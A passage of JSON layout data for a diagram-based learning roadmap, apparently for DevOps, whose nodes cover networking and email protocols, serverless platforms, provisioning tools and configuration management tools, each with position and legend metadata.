\"color\": \"#949494\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.147298803803,\n        \"y\": 1057.495251276272\n      },\n      \"width\": 139,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1206.147298803803,\n        \"y\": 1057.495251276272\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Vu955vdsYerCG8G6suqml\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"DNS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1348.147298803803,\n        \"y\": 1057.495251276272\n      },\n      \"width\": 102,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1348.147298803803,\n        \"y\": 1057.495251276272\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ke-8MeuLx7AS2XjSsPhxe\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"HTTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.147298803803,\n        \"y\": 1110.495251276272\n      },\n      \"width\": 139,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1206.147298803803,\n        \"y\": 1110.495251276272\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"AJO3jtHvIICj8YKaSXl0U\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"HTTPS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1348.147298803803,\n        \"y\": 1110.495251276272\n      },\n      \"width\": 102,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1348.147298803803,\n        \"y\": 1110.495251276272\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"0o6ejhfpmO4S8A6djVWva\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"SSL / TLS\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1207.2914695545712,\n        \"y\": 1163.495251276272\n      },\n      \"width\": 139,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 139,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1207.2914695545712,\n        \"y\": 1163.495251276272\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 139,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"wcIRMLVm3SdEJWF9RPfn7\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"SSH\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"QZ7bkY-MaEgxYoPDP3nma\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1349.2914695545712,\n        \"y\": 1163.495251276272\n      },\n      \"width\": 102,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 102,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1349.2914695545712,\n        \"y\": 1163.495251276272\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 102,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"E-lSLGzgOPrz-25ER2Hk7\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"White / Grey Listing\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1297.964929643881\n      },\n      \"width\": 248,\n      \"height\": 50,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1297.964929643881\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 50\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 50\n      }\n    },\n    {\n      \"id\": \"zJy9dOynWgLTDKI1iBluG\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"SMTP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.5374764166006,\n        \"y\": 1350.964929643881\n      },\n      \"width\": 118,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1206.5374764166006,\n        \"y\": 1350.964929643881\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"5vUKHuItQfkarp7LtACvX\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"DMARC\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1328.7306776209605,\n        \"y\": 1350.964929643881\n      },\n      \"width\": 122,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1328.7306776209605,\n        \"y\": 1350.964929643881\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"WMuXqa4b5wyRuYAQKQJRj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"IMAP\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1206.5374764166006,\n        \"y\": 1403.964929643881\n      },\n      \"width\": 118,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1206.5374764166006,\n        \"y\": 1403.964929643881\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 118,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 118,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ewcJfnDFKXN8I5TLpXEaB\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"SPF\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1328.7306776209605,\n        \"y\": 1403.964929643881\n      },\n      \"width\": 122,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1328.7306776209605,\n        \"y\": 1403.964929643881\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 122,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 122,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"fzO6xVTBxliu24f3W5zaU\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"POP3S\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1456.964929643881\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1456.964929643881\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"RYCD78msIR2BPJoIP71aj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Domain Keys\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1510.964929643881\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1510.964929643881\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"n-pIspYFAk0vpHNbLbbLz\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1274.6452398367048,\n        \"y\": 1565.4144228217488\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Email Protocols\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 136,\n      \"height\": 36,\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 1274.6452398367048,\n        \"y\": 1565.4144228217488\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 136,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"QZ7bkY-MaEgxYoPDP3nma\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"OSI Model\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"iaNoxEXCxziVTpl7fc8Pz\",\n          \"label\": \"Order in Roadmap not Strict - Learn anytime\",\n          \"color\": \"#949494\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1219.740182887247\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 248,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1205.5374764166006,\n        \"y\": 1219.740182887247\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"w5d24Sf8GDkLDLGUPxzS9\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1583.0509969897735,\n        \"y\": 1138.0187194026719\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Networking & Protocols\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 255,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1583.0509969897735,\n        \"y\": 1138.0187194026719\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 255,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 255,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9p_ufPj6QH9gHbWBQUmGw\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1992.153929822237,\n        \"y\": 1280.9816693737002\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Serverless\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 230,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1992.153929822237,\n        \"y\": 1280.9816693737002\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 230,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 230,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"LZDRgDxEZ3klp2PrrJFBX\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Vercel\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1500\n      },\n      \"width\": 194,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1500\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"l8VAewSEXzoyqYFhoplJj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Cloudflare\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1394\n      },\n      \"width\": 194,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1394\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"mlrlf2McMI7IBhyEdq0Nf\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Azure Functions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1447\n      },\n      \"width\": 194,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1447\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"UfQrIJ-uMNJt9H_VM_Q5q\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"AWS Lambda\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1341\n      },\n      \"width\": 194,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1341\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"hCKODV2b_l2uPit0YeP1M\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Netlify\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        },\n        \"oldId\": \"JXsctlXUUS1ie8nNEgIk9\"\n      },\n      \"position\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1553\n      },\n      \"width\": 194,\n      \"height\": 49,\n      \"selected\": false,\n      \"positionAbsolute\": {\n        \"x\": 2010.6022029048672,\n        \"y\": 1553\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 194,\n        \"height\": 49\n      },\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 194,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"1oYvpFG8LKT1JD6a_9J0m\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 2022.153929822237,\n        \"y\": 1749.6366924943281\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Provisioning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 2022.153929822237,\n        \"y\": 1749.6366924943281\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 170,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"XA__697KgofsH28coQ-ma\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"AWS CDK\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1837.2739894115864\n      },\n      \"width\": 168,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1837.2739894115864\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"TgBb4aL_9UkyU36CN4qvS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"CloudFormation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1890.2739894115864\n      },\n      \"width\": 168,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1890.2739894115864\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"O0xZ3dy2zIDbOetVrgna6\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Pulumi\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1943.2739894115864\n      },\n      \"width\": 168,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1943.2739894115864\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"nUBGf1rp9GK_pbagWCP9g\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Terraform\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"right-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1997.2739894115864\n      },\n      \"width\": 168,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 168,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 2023.153929822237,\n        \"y\": 1997.2739894115864\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 168,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"V9sOxlNOyRp0Mghl7zudv\",\n      \"type\": \"topic\",\n      \"position\": {\n        \"x\": 1696.6885970352912,\n        \"y\": 1749.6366924943281\n      },\n      \"selected\": false,\n      \"data\": {\n        \"label\": \"Configuration Management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Qc0MGR5bMG9eeM5Zb9PMk\"\n      },\n      \"zIndex\": 999,\n      \"width\": 258,\n      \"height\": 49,\n      \"positionAbsolute\": {\n        \"x\": 1696.6885970352912,\n        \"y\": 1749.6366924943281\n      },\n      \"dragging\": false,\n      \"style\": {\n        \"width\": 258,\n        \"height\": 49\n      },\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 258,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"h9vVPOmdUSeEGVQQaSTH5\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Ansible\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"XA__697KgofsH28coQ-ma\",\n        \"legend\": {\n          \"id\": \"RkcQf9vafpvjAVpo02XhQ\",\n          \"color\": \"#874efe\",\n          \"label\": \"Personal Recommendation / Opinion\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1491.7647088844683,\n        \"y\": 1696.8759112425278\n      },\n      \"width\": 121,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1491.7647088844683,\n        \"y\": 1696.8759112425278\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"kv508kxzUj_CjZRb-TeRv\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Chef\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"TgBb4aL_9UkyU36CN4qvS\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1491.7647088844683,\n        \"y\": 1749.8759112425278\n      },\n      \"width\": 121,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1491.7647088844683,\n        \"y\": 1749.8759112425278\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"yP1y8U3eblpzbaLiCGliU\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Puppet\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"O0xZ3dy2zIDbOetVrgna6\",\n        \"legend\": {\n          \"id\": \"fsxYh49oVbysjbXYBdL0J\",\n          \"label\": \"Alternative Option - Pick this or Purple\",\n          \"color\": \"#667113\",\n          \"position\": \"left-center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1491.7647088844683,\n        \"y\": 1802.8759112425278\n      },\n      \"width\": 121,\n      \"height\": 49,\n      \"selected\": false,\n      \"style\": {\n        \"width\": 121,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1491.7647088844683,\n        \"y\": 1802.8759112425278\n      },\n      \"dragging\": false,\n      \"focusable\": true,\n      \"selectable\": true,\n      \"measured\": {\n        \"width\": 121,\n        \"height\": 49\n      